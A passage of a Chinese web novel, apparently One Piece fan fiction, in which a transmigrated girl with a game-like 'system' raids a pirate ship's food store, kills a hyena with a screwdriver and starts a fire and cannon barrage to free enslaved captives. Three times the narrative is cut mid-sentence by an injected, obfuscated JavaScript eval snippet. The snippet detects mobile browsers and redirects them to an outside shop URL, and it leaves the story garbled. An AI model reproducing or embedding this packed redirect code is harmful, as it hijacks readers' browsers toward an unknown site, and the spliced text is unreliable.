她现在兴奋极了,双手撑着桌子把自己撑起来。她也顾不得是不是生水了,大半个身子都在往前探,扭过头,张嘴就大口大口接着水流,冲到了脸上也不在意。 直到干涩的嘴唇变得湿润,嗓子被轻柔的拂过,肚子里都隐约涨了几分,她才意犹未尽的关掉水流。 是水啊——终于喝到水了! 仿佛她喝的不是水,而是游戏里恢复体力的神奇药剂一样,此时她感觉自己充满了力量。身上的伤口也似乎没有那么疼了,果然水是生命之泉啊! 她胡乱抹去脸上的水渍,这才发现凉透的水里不知道什么时候混进去了几滴滚烫,她下意识的伸出舌头不放过任何一滴水珠,咸的。 竟然是她的眼泪。 这一发现成功打开了水闸,她吸吸鼻子,再也忍不住想要将这几天的害怕、酸涩全部发泄出来。 但她不能。 她双手掩面,遂冷漠的驱使着它们擦去这些破防的痕迹。当沾满情绪的手掌落下时,她的眼中已经恢复了平静。 更多了一份坚定。 要活下去,还要好好活下去。 生命之水的眷顾点醒了她干枯的大脑,她不认为所有的食物都会放在冰箱里。 那么多的海贼,要备的食物、酒都很多,仅靠两个冰箱是肯定放不下的。 肯定还有专门存放这些物资的房间,而且为了方便取用,她猜测这个房间不会离厨房很远,也或许能从厨房直接通过去。不然先不说能长期存放的腌制品、平时海贼们吃的主食,面粉大米什么的,每次长途跋涉的去取用,效率也太低了。 她用手按压墙板,不放过每一个角落。可绕了一圈后,仍没发现任何特殊的入口。 想也不会设置的那么复杂,奥拉又改变策略,趴在地上,一寸寸去观察地板上的痕迹。 显然她这个做法是正确的。 在堆在几个空木箱的角落里,奥拉发现了一条不明显的缝隙。黑漆漆的还没针宽,要不是她脸几乎贴在地上去找,根本发现不了。 她将木箱子移开,直接就看到了个通体漆黑的弯月把手,在黑暗的环境下好不明显。 她试着拉开这扇门,竟没花费什么力气,她喜上眉梢。并没有着急下去,她解开身上的细麻绳,先把帆布丢了下去。接着在空箱子上打了个活结,确定稍一用力绳子就会松掉后才提着心往下面钻。 拽动着绳子,木门压在绳子上面始终翘着边角。等她落地后,才用力一拽,绳子当即被拽了下来,木门也当的落了地。木箱被拽着又压到了木门上,乍一看像是没人来过一般。 奥拉不慌不忙的打开系统界面,顺带瞄了一眼时间。 仅剩的那1点能量也已经被系统抽走了,时间重置回24h,现在已经走到了【22:50:59】。 距离天亮没多长时间了,她最好半个小时就回到仓库里,要是碰上做早饭的海贼就完蛋了。 打定好注意,奥拉集中精神,率先确认了一下是否有其他出口。在靠南侧的地方发现了一扇上锁的门,她不确定是通向外面还是另有空间。 除此之外,能离开的出口就只有上方的木门。 时间紧迫,她边用鼻子嗅着边动手拆开堆在一起的麻袋。棕褐色的果实乍一入眼,她激动的差点叫出声。 她想的没错,这里就是存放食物的仓库!这满满一麻袋的都是土豆! 奥拉犹记得没长芽的土豆是能生吃的,有少量毒素不多吃是没问题的。考虑再三她抓起土豆塞进衣兜里,没拿太多,转头又向其他麻袋走去。 她简直像是掉入米缸的小老鼠一样,幸福的流连在每个装满食物的麻袋之间,嘴角快咧到耳朵后面了。 红彤彤的番茄塞进宽松的衣袖里。 身上能兜的都用了,她就用细麻绳将帆布重新绑在身上,上下各固定一次形成一个左右漏风的兜,将绿油油的生菜球硬塞在里面,最后用细长的黄瓜填满每一个缝隙。为了食物,她有的是力气和手段。 眼看她手臂鼓起,身前挺起大肚腩,上半身已然变成轮胎人。疯狂囤食的行为堪堪停下,要不是怕耽误走路,她连裤子里都想塞几根萝卜。 奥拉左右动动身体,很满意自己身上的重量。 她能带的东西有限,就想着下次做好准备,会尽快在来一次。 不过,下次再来就不是带食物了。 奥拉爬上梯子,本就因为枷锁行动不便,这下携带着这么多东西不能掉,更是成了阻碍。 但奥拉就没想着放回去一些,这甜蜜的重量她能承受! 她费力扒住梯子的边缘,推着头顶的木门顶起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988681|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小截,仅够她露出双眼睛。 视线迅速扫过四周,黑漆漆的,也没听到什么动静。确认外面大抵是安全的,她才从食物仓库里爬了出来。她将所有东西复位后蹑手蹑脚的离开了厨房。 接下来只要回去就可以了。 因得喝到了水,还获取到了食物的缘故,她这趟回程心情轻松了不少,连带着脚下都步步生风。要不是还被锁着,她估计都要跳起来。 “嗒嗒...” 忽地奇怪的声音飘入奥拉的耳朵,她立刻浑身僵住停在原地。 可当她停下时,那声音就又消失不见了。她等了好一会儿,都没在听见那声响。 她深知自己不可能听错,既没有任何发现,那也不敢继续留在这里。 就在她又走了起来的时候,那古怪的声音又不知道从哪钻了出来落到奥拉的耳朵里。 “嗒嗒...嗒嗒...” 她的心提到了嗓子眼,根本不敢停下,越走越快,快到变成了小跑。顾不得自己脚下发出的声响了,她怀疑已经有人发现她了! 很快她的想法得到了证实,那声音也跟着快了起来。不知怎得奥拉就是觉得对方能更快,只是对方没有。而是像猫捉耗子一样,欣赏着她的丑态。 她慌了神,眼睛不住的乱飘,试图找到能够藏身的地方。急得睫毛颤动,须臾恐惧爬上了眼球。 见前方有转角,奥拉心思活络,快速冲过去一个滑步单腿跪在了地上。她躲在墙角后面,手已经伸进内衬兜里握住了螺丝刀。 现在没开灯,她蹲在转过来的死角处,对方不一定能及时发现她。那么她只要等着,等对方过来,她或许还有机会能逃走。 如果逃不走的话... 奥拉抽出螺丝刀,习惯性的舔了舔唇。她今天收集不到能量点的话被系统抽取生命值也不一定能活。不如拼一把。 她已经做好了准备,可预想中的敌人并没有出现。好似是她自己听错了般,那古怪的声音再也没有出现。 奥拉相信自己的判断,她不敢大意,始终保持着进攻的姿势。 然而,安静的通道里再也没有其他声音。 难道对方没发现她,只是路过吗?这个猜测太过滑稽,可能解释现在的情况。 谈不上放松,奥拉谨慎的往后退了退,既然对方不出现,不管是什么目的,她都可以趁着现在赶紧走。 她刚退一步,背就碰到了什么东西。 不是墙壁,墙壁在她的左手边。那触感透过厚实的衣服都传递了过来,炽热的,呼吸着的——来不及回头,奥拉眼皮狂跳,双手撑着地往前滚去。 过大的动作牵动了身前塞得过满的简易兜袋,一颗生菜球直接滚了出来。 朝着奥拉行动的反方向,最后停在了某个东西的身边。 奥拉惊疑不定的抬起头,正对着那个不明生物。这一眼,她对上了双兽瞳。 竖起的瞳孔里,散着暴戾的、兴奋的光。 它的爪子足够盖住整个生菜球,毫不费力的一按,硬邦邦的菜球直接四分五裂。它看都不看,只一个劲的盯住奥拉,好似那颗生菜球就是奥拉的脑袋。 奥拉:??天要亡我 5. 应急程序 奥拉能想到自己被发现了,但没想到发现她的是一只鬣狗。 没错,一只棕色鬓毛浑身斑点,圆弧尖耳正呲牙嘴边溅出口水的鬣狗。 因为船上有鬣狗,所以才叫鬣狗海贼团吗? 奥拉直呼太过荒唐。 但没有时间为她即将逝去的生命悼念了,她手忙脚乱的爬起来头也不回的向前跑去,她根本就不想死。 可没跑几步,她就发现她低估了鬣狗的速度,即便她在体力充沛的情况下也是跑不过这种野兽的,更何况她四天就吃了半块面包,现在身上还背负着食物的重量。 她几乎能听到鬣狗近在咫尺的喘息,这个距离,奥拉丝毫不怀疑这只鬣狗有能力直接扑上来咬死她。 她一点也不想死在这里! 好不容易得到滋润的嗓子再次像冒了烟一样,她眼球四处乱转,试图找到破局的方法帮助她离开这条看不到头的、送她上路的通道。 入目的全是木头,木地板、木墙、木天花板,木门,她只感眼前爬上了层灰,将这些入目的木头遮掩起来...等等,木门? 奥拉抬手毫不吝啬的朝自己的脑袋拍了一巴掌,驱散走遮住视线的灰。身子向下猫腰,刚巧躲过鬣狗的猛扑,向着那道门冲去。 幸好没有上锁。 她的心跳如擂鼓,逃进屋内的瞬间用身体将门堵死。 鬣狗的身影猛地撞向木门,撞得奥拉一个趔趄差点被顶飞出去。她紧急用双脚蹬住地,这才勉强守住了这道脆弱的防线。 鬣狗并没有放弃对奥拉的追杀,隔着木板,奥拉都能听清门外威胁的低吼。它的利爪划过木板发出刺耳的尖叫,下一瞬,它的爪子居然直接在门上破了个洞。 若不是奥拉跑到腿软,改成半跪在地上面朝着大门留有不小的空隙,那么现在她的胸腔估计已经被洞穿了。 她汗毛乍立,被迫清楚这道门根本拦不住鬣狗。就算拦得住,这么大的动静,再过不久就会有人过来查看了。 今天本来很顺利的!奥拉暗自咬牙,脖颈上的青筋突突,眨眼间像是做好了什么重要的决定。她快速后退,不在死守着木门。 不再被阻拦的鬣狗,轻而易举的撞开了这道门。 鬣狗的注意力始终在奥拉的身上,刚冲进来就迫不及待的朝着奥拉扑去。 这次她没有在躲,被鬣狗扑了个结结实实。 它宽厚的爪子重重压在奥拉的身上,它张开血盆大口,露出尖锐的牙齿,奥拉毫不怀疑鬣狗能直接咬掉她的头。 千钧一发之际,奥拉抬脚踹在鬣狗的腹部,一手挡在脸前,下一秒,被鬣狗的牙齿贯穿。 “...!” 她眼中红的像是索命的恶鬼,喉咙里滚动着硬是将呜咽憋住了。腿上的力量不减,还更加用力的想要将鬣狗踹飞出去。可这鬣狗咬的瓷实,半分没有移动。 奥拉定神,空着的手高举螺丝刀,对准鬣狗的脖子便发狠刺了下去。 许是注意到奥拉的反抗,鬣狗撕咬的更加卖力,她甚至能感觉到自己的骨头和鬣狗牙齿在摩擦。 而螺丝刀,没有刺进去,这只鬣狗的皮肤很硬。 她的眼眶里因为疼痛盈满了泪水,混着从手臂流淌下来的血液从脸庞滑落。她还没有放弃,一次不行,就两次! 两次还不行的话......有了第一次的勇气,她手上的动作开始流畅起来,对着鬣狗的脖颈,一次次的捅过去。 “噗呲——” 她的手臂已经麻木,她绝望的发现她已经快要感知不到自己的两个手臂了。 “唔——” 她全身都在用力,她确定自己没有放过对嗓子的监管。 不是她的声音。 她这才发现,手中的螺丝刀断了一截,断在鬣狗的脖子里。只是她的手还在机械的运动着。 而鬣狗发出最后的呜咽,竟就这么倒在了她的身上。 胜利的天平就这么猝不及防的偏向了她。 就在这时,安静的系统蹦了出来。 【检测到宿主已完成任务:为绝望填充愤怒的炮火,勇气是人类的赞歌,能量点+1】 【检测到宿主成功绞杀敌方成员,能量点+1】 【?系统1773(已绑定) 状态:未激活。 能量点:2(抽取能量点倒计时:22:00:09。注意:能量点即将耗尽,届时将抽取宿主生命值补充,请尽快补充能量 。) 能力:翻】 【警告!!检测到宿主生命值流失,请尽快治疗!】 【警告!!检测到宿主生命值流失,请尽快治疗!】 【......】 莹白的光洒在奥拉疲惫的脸上,那双深棕色的眼睛专注的盯着前方,可若有人在这的话,定能发现她的视线已经无法聚焦了。只呆愣愣的,对好不容易获得的两点能量点没有任何喜悦的反应。 满地的鲜血,已然无法分清究竟是奥拉的还是鬣狗的。它们编织成一张席梦思,盛情邀请着奥拉躺在上面,睡过去。 【警告!!检测到宿主生命值流失过快,已启用应急程序。】 【能量点-1】 【能量点-1】 【...】 【警告!!能量点不足,应急程序已中止,请尽快补充能量。】 好多字啊... 奥拉感觉身上暖呼呼的,眼皮越发沉重,一眨一眨间就再也没有睁开。 她是被奇异的感觉弄醒的,手臂发痒像是有东西在爬,她伸手去挠也缓解不了这股痒意。 她不厌其烦的睁眼,看着陌生的天花板茫然也会儿,腿一蹬就坐直了身体。 穿越、海贼、逃跑、鬣狗。大脑的控制权又重新回到了她的手中,随着她冒失的起身,压在她身上的鬣狗掉了下去。 鬣狗的身体还温乎着,瞪着双眼睛不甘的直视着奥拉。 奥拉微微抿唇,给鬣狗合上了眼睛,眼不见为静。 不管是人,还是动物,总归是条生命从她手上离开了。在和平社会生活了二十年,杀鸡杀鱼都没有过,就算已经做好心理准备,这样的经历她一时半刻还真无法消化。 倒不是可怜追着她杀,死有余辜的鬣狗。而是得到了一种能够让她在这个世界安定下来的沉重。 她尽量忽视鬣狗的身体,想看看时间,这一调出屏幕,哗啦啦的信息塞得她刚恢复的脑袋差点又要爆炸。 杀鬣狗居然加了两点能量点?那是不是对人的话也至少有两点能量点?奥拉能确定了,系统就是在引着她反抗海贼们,只是单纯看发放能量点的事件,她对自己逃出去后能加多少能量点没底。反倒觉得她把全海贼杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988682|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,这个系统能给她奖励的更多。 思及此她不由得恶寒,她不会绑定了什么杀神系统吧? 当她看到所谓应急程序的时候更是十分不解,怎么感觉她死了,系统这么着急似的... 说起来,她的手臂怎么一点也不疼了? 那只被鬣狗咬穿的手臂完完整整的摆放在她的身侧,连接着她的肩膀。上面留着一排齿印,印证着奥拉的记忆没有出错。可也仅限于此了,没有伤口,没有流血。 如若不是她身下还未干涸的暗红色,她都要认为自己是在做梦了。 系统,治好了她的手臂。 她稀奇的把手臂翻过来复过去的看,她当时都认为这条手臂基本上是保不住了,竟然真的只留下了疤痕。摸上去会有疼,但更多的是痒。 联想到‘能量点耗尽将抽取宿主生命值补充’这句话,奥拉有点悟了——所以反过来也成立?系统救她,会不会是因为她死了系统也会消失?因为她们绑定了嘛。 火有九喇嘛,她这是绑定了个统喇嘛啊! 这个发现对她来说无疑是个重磅炸弹。对自己刚到手还没捂热乎就消失的能量点也没那么心疼了,反而充满了斗志。 能量点是个好东西啊,关键时刻能救命的。 她傻乐的确定了下时间,已经来到了【21:20:28】 她在食物仓库预计回去船舱的时间是三十分钟,现在已经过去快一个半小时了。 幸亏系统治好了她,不然她指不定还要睡多久。 再不离开她可能就要碰上做早饭的海贼了,必须要快点回去,鬣狗的尸体也要带走,被她用细麻绳固定在身上。 接下来就是尽可能的收拾满地的血,她本能的不想用身上的帆布,那也太脏了。 这她才想起来打量自己身处的这个船舱,空空荡荡的,一时间也看不清什么。 她又往里走了几步,借着微弱的光,她巡视四周,目光扫过顿住,呼吸一窒。 圆滚滚、黑漆漆、带着引线的不是炮弹是什么。 五六艘大炮沿着墙边排成排,犹如沉默的士兵,坚毅令人心生震撼。 她第一次见大炮是在博物馆里,而且基本上都是模型。 眼前这几架,倒是和影视剧里常见的那些很相像。 没想到,她误打误撞的跑进了海贼们的火炮仓,也不知道是好运还是倒霉。 这些炮弹都堆在箱子里,看上去每个箱子的炮弹数量都是固定的。这就代表着奥拉没法随意带走这些炮弹,一旦这些东西丢失,必定引起注意,而且她身上也没地方去放置这些东西了。 这里的东西她也最好什么都别碰,血迹必须清理掉,不能被发现异常。 思虑再三,奥拉放下鬣狗用它的毛当拖把拖地,正面沾满了在反过去用背面。 最后还差些,就只能解下自己身上的帆布,直到肉眼看不到那么大的痕迹了以后才将帆布重新绑回去。 她知道仅靠这样是没办法完全清理干净的,一定会留痕。木门上还破了个洞,她也没法去补上。 她脑中千回百转,一个大胆的想法跃然出现。 奥拉不在想办法恢复现场原样,而是背起鬣狗,带着比从食物仓库出来还要重的重量向外走。 现在距离天亮或许还有两三个小时,时间够用了! 6. 逃走(上) "彭!" 满桌的东西被胡乱扫到地上,站在桌后的女人阴恻恻盯着眼前垂首站立的一排人。 “加卡呢?你们把加卡扔出去了吗?为什么那帮家伙还是阴魂不散!” 睡着正香被叫起来的干部们来的路上还满腔抱怨,此时却噤若寒蝉,谁也没有当出头鸟的想法。 这个看似没有逻辑的问题实在难答,先不说那到处乱窜的畜牲被谁弄去了哪,他们一点儿也不关心。 就说他们的处境,若不是老大非要那座岛上的人,也不至于他们现在如此狼狈与急迫。现在居然反过来怪他们不够努力,甩不掉那帮疯子了! 就算是老大—— “你在想什么?” 海贼本就是一帮极恶之徒,就算搭上了同艘船,也不过是因为臭味相当罢了。斗殴、背叛、以下犯上都是很常见的事情。 在鬣狗海贼团也不例外。 心中的不满骤然被人轻巧的说出,其中有几人登时将头埋得更低了,露出脆弱的脖颈恭顺的样子。 可鬣狗海贼团的船长加卡罗并不是什么好脾气的人。众人皆见她的美貌而轻易产生爱慕,又因她的美貌看轻她的实力。哪怕是见证过她如何杀人如麻的‘同伴’们,竟也敢质疑她的决定? 须臾,所有人都听到了女人清脆的笑声。仿佛听到这愉悦的笑就消除了所有的恐惧,脑海里轻而易举的就能勾勒出老大爽朗弯起的眉眼,为姣好的面容更填几分光彩。 当即就有人迫不及待的抬起了头,然后他对上了双浸在寒光里的野兽的眼眸——如果奥拉在这里,定能发现,这双眼睛和追逐她的那只鬣狗何其的相似! “啊!!”男人的喉咙里爆发出凄厉的惨叫,很快被野兽撕咬啃食的咀嚼声压了下去,血腥味顿时充斥了整间屋子。 而他身边的同伴全程都低着头,未投去半分的视线。 “这是加卡几号了......算了,随便吧...” 鬣狗的船长加卡罗此时容貌发生了巨大的改变,她丝滑的头发里立起了双毛茸茸的耳朵,嘴部凸出俨然变成了兽类的嘴筒子。只有身体和眼睛还是人模样,她指腹抹掉嘴角的血迹,表情可说不上好。 “新加卡去找找旧加卡,还有你们——” 加卡罗拖长着语调,懒洋洋的却不容置喙。 “派人拦截那帮家伙,不用害怕,去选好人然后带到我这里来。” 至于那些被选中的人会是什么下场——方且被加卡罗咬伤的男人肌肉挛动,居然挣扎着从地上爬了起来,肩膀上两个血窟窿以肉眼可见的速度开始愈合,他黑色的瞳孔开始被侵染,短短几秒竖瞳便占据了他的眼睛。 新加卡嘴里发出低低的吼叫,既是新生的狗崽对女王的拜服,也是保证完成女王任何指令的宣誓。 还站着的人们,有的人抖若筛糠,但大部分人则是见怪不怪。 加卡罗发泄完这段时间积攒的火气,变脸似的又恢复了平常那副好说话的模样。嘴边噙着笑,哼着歌坐回了专属于船长的座位上。 就算如此,众人也皆不敢继续站在这里触霉头,向加卡罗欠身致意后挨个就往外走。 正是此时,异变突发。 天还未亮,甲板上值守的瞭望台上还点着灯呢。海贼们往往不会起这么早,早饭的时间也要再过至少两个小时,现在大多数人估计都还睡着。 可现在,推开船长室的门,那些急匆匆的脚步与压抑着的呼叫便再也无法被阻挡。 能够站在这里的人都是船上战力值数一数二的,以他们的耳力很容易便听清了。乱哄哄中喊得分明是:“着火了!” “仓库着火了!!” 刚逃出生天的众人怔愣片刻的功夫,一道儿瘦长的影子已然冲了出去。 再回头望去,翘腿沉稳坐着的加卡罗脸上已尽是阴沉的杀意。 着火的底仓,人群被全部拦住了。 明亮的火焰构成一堵墙阻隔在通往最底层关押奴隶船舱的楼梯间,与之共存的浓烟不出几秒就有要淹没整个船舱的架势。 航行路上多是湿润的,又是更潮湿的仓库着火,这实在是十分罕见的事情。但现在没人有空去纠察这里面的不对,由于几乎没有面对火灾的情况,都手忙脚乱的跑去引水扑灭火焰。火苗被不断的扑灭,烟雾却越来越浓,浓的人睁不开眼睛。 “先救奴隶!” “钥匙!钥匙在谁手里?!快点过来!!” 白色的混沌中,分不清是谁在嘶吼。只隐约看见一道影子率先扎进浓烟深处,紧接着,不同的叫喊声此起彼伏,更添混乱。 疤脸海贼赤裸着上身,跟着其他被惊醒的同伴匆忙赶来时,还以为是遭遇了敌袭,手里胡乱抓了几样武器。待到看清是冲天的火光与浓烟,他愣在原地,足足有好几秒大脑一片空白。被人接二连三的喊着,他身上忽地就出了层汗,不是热的而是吓得。 这趟奴隶是他在看管,钥匙也在他手里。只是这几天他和凯斯达成了交易——凯斯那老烟枪舍得送好烟给他抽,想要交换这几天看守奴隶,至于他要对奴隶做些什么...这种事情多是海贼们间的心照不宣,不被上面发现,或者被发现了不影响售价的话都不碍事的。有好处的事情他当然没什么好拒绝的,要是他知道会发生火灾,他绝对理都不理凯斯那混蛋一下! 奴隶要是死了,他也就完蛋了。 疤脸海贼猛地打了个激灵,再也顾不得其他,一个健步就冲进了浓烟里。他什么都看不见,全都是灰沉沉的,不过奴隶的位置很好找,尖叫与哭喊不绝于耳。顺着方向过去,疤脸海贼才发现里面也烧的很厉害,整扇木门都燃着噼啪作响的火焰,又堵死了前路。 “他妈的!”疤脸恶狠狠地咒骂一声,抬脚狠狠踹向那扇已被火焰舔舐得焦黑脆弱的木门。 他大概巡视了一圈,好在来得及时,里面并未着火。奴隶们蜷缩在一起,眼泪糊了满脸,倒是有点像刚被掳走时候的样子了。 看到向他投来的绝望的、希望的眼神。小命暂且安全的疤脸海贼,恶劣作祟的心瞬间得到了满足,仿佛着急的不是他似的,手中转着钥匙大摇大摆的往里走。 “大爷我也算你们的救命恩人了?” 说着又被自己的话逗笑了,低低笑了几声。 大量的烟不断从门口涌进来,虽满口嘲讽,疤脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988683|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海贼的速度倒也不慢。钥匙插进锁孔,转动。 转动? 他脸上的笑容骤然僵住。钥匙在锁孔里顺畅地旋转了半圈,但预想中锁舌弹开的清脆声响并未传来。 他不信邪地又试了一次,更用力地拧动,心底还抱着一丝侥幸:或许是锁头锈住了…… “啪。” 一声细微却清晰的断裂声,透过嘈杂隐约传入耳中。 钥匙断在了锁孔里。 刹那间,抱团的奴隶群里爆发出了更尖锐的哭声。 疤脸海贼先是瞪大了双眼不可置信的看着自己手里断掉的钥匙,后才铁青着脸,一拳将被烧的火热的铁笼栏杆打凹了进去。 “吵死了,闭嘴!” 说着他抽出原先别在腰侧的大砍刀,几瞬的功夫,困住奴隶们的铁笼就这么被轻易的斩断了。 与此同时,甲板上没什么人,船里吵闹的声音显然惊动了瞭望台上的海贼。他半个身子探出瞭望台,好奇的想要去看看情况,可又不好直接走开。 正抓耳挠腮间,一眼看到了老熟人。 “嘿!凯斯,下面怎么了?” 凯斯是船上公认的老烟枪,一天不抽难受的慌。偶尔也会清晨到甲板上来抽烟,因此瞭望海贼并不对对方的到来而疑惑。看见对方手里抱着个大箱子,也并未多想,他更迫切的是船里发生了什么。 “下面、下面着火了,大伙都在下面挤着,我就直接上来了。” 凯斯粗着嗓子答道,抱着手中的箱子若无其事的往边走。把箱子架在船檐上,哪怕只用单手也顺畅的给自己点了根烟。 他好心情朝着瞭望海贼扬了扬手:“你要下去看看吗?反正下面挺呛人的......你要去的话,这里我帮你看着。” “火灾?”瞭望海贼眼珠咕噜噜转,面上到真有几分感兴趣的样子,因着凯斯也在这里,他还硬将五官皱在一起装作忧虑的样子:“那可是大事啊!我去帮帮忙。” 说着瞭望海贼利落的爬下长杆,路过凯斯时还好一阵挤眉弄眼:“等这趟的贝里发下来,我肯定给你买个好烟!” 也不等凯斯答复,生怕晚去了火灭了,看不着乐子。一溜烟人就消失在了眼前。 凯斯猛吸了口烟,沉沉的吐出口薄烟。不经意的收回了扶着箱子的手,任由其在随浪颠簸的船上摇摆,坠落。 抽烟海贼——凯斯冷眼看着那木箱彻底消失在大海里,连丝波澜也未曾留下。紧绷几日的神经终于舒缓,他对着大海吞云吐雾,丝毫没发觉危险的到来。 “哦~亲爱的凯斯,你丢的是什么呢?” 甜美的声音从凯斯的身后响起,还不待凯斯反应。 一只鬣狗不知从哪冲了出来发狠般的咬住了凯斯的腿,凯斯吃痛的,不停用拳头捶打那只鬣狗的头,可这只鬣狗竟分毫不肯松口。 这时,漆黑的枪口止住了凯斯挣扎的动作,也为他找回了些理智。他极尽讨好的从嗓子眼里挤出一点声音:“老、老大......” 加卡罗完全不搭茬,她轻歪脑袋,面露疑惑,问出的话却让凯斯浑身血液凝固。 “你扔的是我的加卡吗?” 7. 逃走(中) “竟然敢背叛我们,凯斯这小子,真是活该!” 带着红色发巾的海贼笑嘻嘻的和同伴说着,语气里满是幸灾乐祸。 见同伴疤脸海贼垂着头没有回应,他努努嘴。手中长刀随意一甩“哗”地破开空气,从躺在地上哭嚎地鱼人脸上划过,恶狠狠道:“吵死了,闭嘴!” 疼痛让鱼人没有经历去反抗,只剩低低地悲鸣从喉咙里淌出来。 此刻早已天光大亮,突发的大火在早饭前被彻底熄灭。仓库里的东西几乎都被火焰吞掉了,相较下关押奴隶的船舱还稍好些,因扑灭的及时,只有入门那块被烧的不像样子。 为了救这些奴隶,关押奴隶的铁笼全部被砍坏,已经失去了作用。 没有找到起火原因之前,底舱也不适合继续关押奴隶。于是这些奴隶们便都被带上了甲板,羊群一样被聚在一堆由海贼们专门看管。 又是因为仓库里的东西几乎被烧光,海贼们只能选择用绳索捆好奴隶们的手脚,防止奴隶们逃窜。 大的铁链都用在了固定鱼人上,实在是这些怪物的体质令人忌惮。离开了笼子的束缚,谁也无法保证这些家伙会不会挣脱锁链跳海逃走。 于是,除了将鱼人们捆牢的铁链外,每只鱼人的手臂都被以剑钉在地上。 海贼们当然不怕鱼人就此死掉,他们都知道怪物皮糙肉厚,只要不是致命伤,总会苟条命下来。 更何况,不出意外今晚天黑前便能登岛了。 “终于要登岛了,老子在船上呆的快憋闷死了!” “嘿,想什么呢你?” 因着疤脸始终沉默,带着红头巾的海贼狐疑的撞了撞他的肩膀。他敏锐的看到疤脸的嘴嗫嚅了几下,但没听到声音,就又凑近了些。 “说啥?” “彭——!!!” 突如其来的巨响震得红头巾海贼肩膀耸起,刨根问底的心情也没有了,疑惑的目光投射向发出声响的地方,在船舱里。 这声响像是开始的锣鼓,接二连三的巨响追着前面的声音响彻整艘船。 “是敌袭!!” 甲板上海贼们的注意力全部被吸引,看着越来越多的弟兄们往里跑,红头巾海贼啐了声,紧握着刀把,挡在奴隶们面前摆出战斗状态。 默不作声的疤脸海贼被惊醒了一样,他喃喃道:“少了一个人。” “哈?”红头巾海贼双眉紧蹙,刚要说些什么,忽然身体一软直直的倒了下去。 船舱内,奥拉手持炮弹,灵活的游走在各个地点。 点燃引线,扔出去,换位置。所有动作一气呵成。 海贼们的反应来的很快。听着乱起的跑动与喊叫,她嘴角翘起:开始了! 时间回到凌晨时分。 奥拉回到仓库后取了几样东西:油烛灯、工具箱和更大的帆布。 逃走的计划早在脑中已有了模糊的框架,直至今日意外发现了炮舱,所有的想法才成功串联了起来。 囫囵吃掉几个西红柿和黄瓜后,身体恢复了点力量。她先是尝试搬走当时压在关住她的箱子上面的杂物,失败后爬上堆起来的货物楼梯,将能拿的东西都丢出来,拿不出来的都推下去。终于清空了上层,最下面换了新的个头相同的箱子,将鬣狗的尸体放在里面,再将杂物复原。 伪造自己还在箱子里的假象,这是以防计划不成功的后手,如果计划失败需要继续蛰伏,抽烟海贼将会继续发挥为她遮掩的作用。反正即将靠岸,她完全可以登到靠岸,偷偷溜走。但她自己也知道这个计划有很多的漏洞,譬如计划失败后的一天如果没有登陆,抽烟海贼认为已经将她这个麻烦解决,不在设法掩饰换回正常的看守,那么她的失踪毫无疑问会暴露,所以这只能是备选计划。 而第一计划则是,要尽可能的拉拢其他人,造成混乱。救人的想法是一方面,另一方面她很清楚个人的力量是有限的,团结一切能够团结的力量共同破敌,成功的概率会比她自己单独行动要大得多。 所以这次她回到关押奴隶的船舱时并没有隐藏自己的想法,还弄出了不小的动静。 面对一双双打量与警惕的眼睛,她没有第一时间尝试和他们沟通。而是从衣服里将剩余带出来的食物展示出来,听到细小的惊呼,她神色未变,泰然自若的走到了最里间。 她仰头注视着铁笼里的三个鱼人,在仅剩的两颗生菜球上各咬了一口,接着递了进去。 这些鱼人不被允许随意活动,但若只是伸手还是可以做得到的。 奥拉面上平静,实际心里七上八下。她无法和这些人交流,现在因为没有能量,翻译功能也无法使用了。现在的她和哑巴倒也没什么区别了,她现在只能尽可能让这些人理解她的的行为了,这也是这个计划最关键的一点。 她在鱼人的铁笼前站了很久,三个鱼人的反应借不一样,但他们都没开口。都只是盯着奥拉,这让她紧张的手指缠上了衣角。 片刻的安静后,一个红鳍的鱼人动了,他坐在靠近栏杆这边,很容易便勾到了生菜球。 他的行为遭到了同伴的强烈反对,奥拉听见他们间交谈了些什么,没有动作的两个鱼人看她的眼神像是要把她生吞活剥了。她克制住自己想要后退的怯懦,满怀希冀的看向红鳍鱼人。 红旗鱼人不知是否接收到了她的信号,先是把卷心菜放在鼻子前闻了下,接着眼前微亮,张嘴咔擦咔擦几下就把一个生菜球吃光了。他看上去饿了很久,吃完这一个,又拿走了下一个。 见到这幕,奥拉稍微安心了些。待红鳍鱼人吃完后,她先是指了指自己身后神色各异的人类们,从工具箱里抽出了把锤子。当着众人的面对着铁笼假模假式的敲了敲,双手呈打开状。换个方向指了指鱼人,示意他们到外面后,又把手指指向了人类们。 意思是:人类把你们带出去,你们救人类走。 她不管这些人有没有听懂,时间上实在是紧迫。她又将黄瓜和土豆留下几个,转身来到了人类奴隶的铁笼前。 